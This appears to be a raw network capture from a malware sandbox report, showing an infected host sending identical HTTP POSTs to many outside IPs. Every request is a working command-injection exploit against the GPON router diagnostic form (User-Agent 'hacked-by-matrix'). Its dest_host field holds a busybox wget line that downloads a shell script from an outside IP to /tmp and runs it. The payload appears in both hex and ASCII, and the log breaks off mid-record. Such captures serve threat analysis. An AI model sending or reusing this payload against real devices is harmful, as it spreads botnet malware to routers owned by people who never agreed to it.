Mar 21, 2024 05:23:17.715403080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1262	192.168.2.13	47356	42.140.112.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715404034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1263	192.168.2.13	44700	118.223.46.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715411901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1264	192.168.2.13	55204	5.196.238.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715411901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1265	192.168.2.13	55958	42.102.119.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715500116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1266	192.168.2.13	45126	212.75.111.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715503931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1267	192.168.2.13	51064	109.137.223.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715543985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1268	192.168.2.13	48596	109.230.209.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715578079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1269	192.168.2.13	42066	109.149.142.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715606928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1270	192.168.2.13	40656	109.16.161.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715636969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1271	192.168.2.13	60496	118.253.224.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715643883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1272	192.168.2.13	35754	109.225.81.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715660095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1273	192.168.2.13	36746	109.79.92.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715665102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1274	192.168.2.13	52876	109.232.80.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715670109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1275	192.168.2.13	58924	212.206.34.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715703011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1276	192.168.2.13	49122	109.88.97.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715708971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1277	192.168.2.13	53340	42.36.18.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715714931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1278	192.168.2.13	54094	42.107.47.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715730906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1279	192.168.2.13	45970	42.219.51.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715742111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1280	192.168.2.13	33170	42.107.73.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715754986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1281	192.168.2.13	36616	42.142.42.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715764046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1282	192.168.2.13	33488	212.9.37.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715789080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1283	192.168.2.13	54090	212.255.227.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715799093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1284	192.168.2.13	58568	109.109.99.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715820074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1285	192.168.2.13	51726	109.17.93.125	443

Timestamp	Bytes transferred	Direction	Data
